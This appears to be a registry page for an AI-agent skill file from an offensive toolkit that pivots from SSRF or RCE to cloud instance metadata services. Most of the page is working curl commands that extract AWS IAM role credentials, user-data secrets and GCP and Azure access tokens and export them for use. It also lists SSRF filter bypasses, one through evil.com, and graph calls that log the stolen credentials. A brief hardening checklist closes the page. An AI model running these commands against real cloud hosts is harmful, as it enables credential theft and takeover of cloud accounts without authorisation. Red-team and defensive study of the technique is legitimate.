Pivot from SSRF or RCE to cloud Instance Metadata Service (IMDS) — extract IAM role creds, instance identity, user-data secrets.
59
70%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/cloud/imds-pivot/SKILL.mdWhen you have SSRF, server-side fetch, or RCE on a cloud-hosted instance, the metadata endpoint is the single highest-value local pivot. Each cloud has slightly different mechanics.
Header fingerprints, IP ranges, or just try in order:
| Cloud | Endpoint | Auth |
|---|---|---|
| AWS | http://169.254.169.254/latest/meta-data/ | IMDSv1: no header. IMDSv2: PUT for token |
| GCP | http://metadata.google.internal/computeMetadata/v1/ | Header Metadata-Flavor: Google |
| Azure | http://169.254.169.254/metadata/instance?api-version=2021-02-01 | Header Metadata: true |
| Alibaba | http://100.100.100.200/latest/meta-data/ | None |
| DigitalOcean | http://169.254.169.254/metadata/v1/ | None |
| Oracle Cloud | http://169.254.169.254/opc/v2/instance/ | Header Authorization: Bearer Oracle |
metadata_endpoints("aws") → returns full URL list for AWS
metadata_endpoints("gcp")
metadata_endpoints("azure")IMDSv1 (legacy, no token required):
ROLE=$(curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/")
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" > /tmp/creds.jsonIMDSv2 (requires session token):
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" > /tmp/creds.jsonOutput:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...", ← session token (REQUIRED for ASIA keys)
"Expiration": "2026-..."
}Use:
export AWS_ACCESS_KEY_ID=$(jq -r .AccessKeyId /tmp/creds.json)
export AWS_SECRET_ACCESS_KEY=$(jq -r .SecretAccessKey /tmp/creds.json)
export AWS_SESSION_TOKEN=$(jq -r .Token /tmp/creds.json)
aws sts get-caller-identity
# Pivot to aws-iam-enum/SKILL.mdcurl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
"http://169.254.169.254/latest/user-data"User-data is the boot script. Often contains:
H='Metadata-Flavor: Google'
# Identify
curl -s -H "$H" 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email'
# Get access token (Bearer)
curl -s -H "$H" 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' > /tmp/gcp.json
TOKEN=$(jq -r .access_token /tmp/gcp.json)
# Use it
curl -s -H "Authorization: Bearer $TOKEN" \
'https://www.googleapis.com/compute/v1/projects/PROJ/zones/ZONE/instances'
# Project ID
curl -s -H "$H" 'http://metadata.google.internal/computeMetadata/v1/project/project-id'
# All custom metadata (often holds startup secrets)
curl -s -H "$H" 'http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true'H='Metadata: true'
# Instance metadata
curl -s -H "$H" 'http://169.254.169.254/metadata/instance?api-version=2021-02-01'
# Token for resource ARM
curl -s -H "$H" 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' > /tmp/azure.json
TOKEN=$(jq -r .access_token /tmp/azure.json)
# Use Bearer for ARM API
curl -s -H "Authorization: Bearer $TOKEN" \
'https://management.azure.com/subscriptions?api-version=2020-01-01'
# Token for storage (specify resource)
curl -s -H "$H" 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/'
# Token for KeyVault
curl -s -H "$H" 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net'When the target server filters local IPs:
| Bypass | Example |
|---|---|
| Decimal IP | 2852039166 for 169.254.169.254 |
| Hex IP | 0xA9FEA9FE |
| Mixed encoding | 169.254.169.0254 (octal last octet) |
| Embedded creds | http://169.254.169.254:80@evil.com/ (some parsers) |
| DNS rebinding | Domain w/ 1s TTL flipping to 169.254.169.254 after fetch |
| Open redirect | If target has open redirect, chain it: target.com/redir?to=http://169.254.169.254/ |
| Server-side URL parser bug | Various — see SSRF skill catalog |
v2 requires a PUT first. Real SSRF rarely does PUT.
hop-by-hop header smuggling (rare, version-specific)kg_add_node(kind="credential", label="<role-name>:<ASIA-prefix>",
props={"source":"imds-pivot","cloud":"aws","expires":"<ts>"})
kg_add_edge(src=<ssrf-vuln>, dst=<cred>, kind="extracts")
kg_add_edge(src=<cred>, dst=<crown_jewel:aws-account>, kind="grants-access")metadata.google.internal is kernel-localCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0"ec2:MetadataHttpTokens" = "required"HttpPutResponseHopLimit: 1) so containers can't get the tokeniam:PassRole, no * in actions)e34afba
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.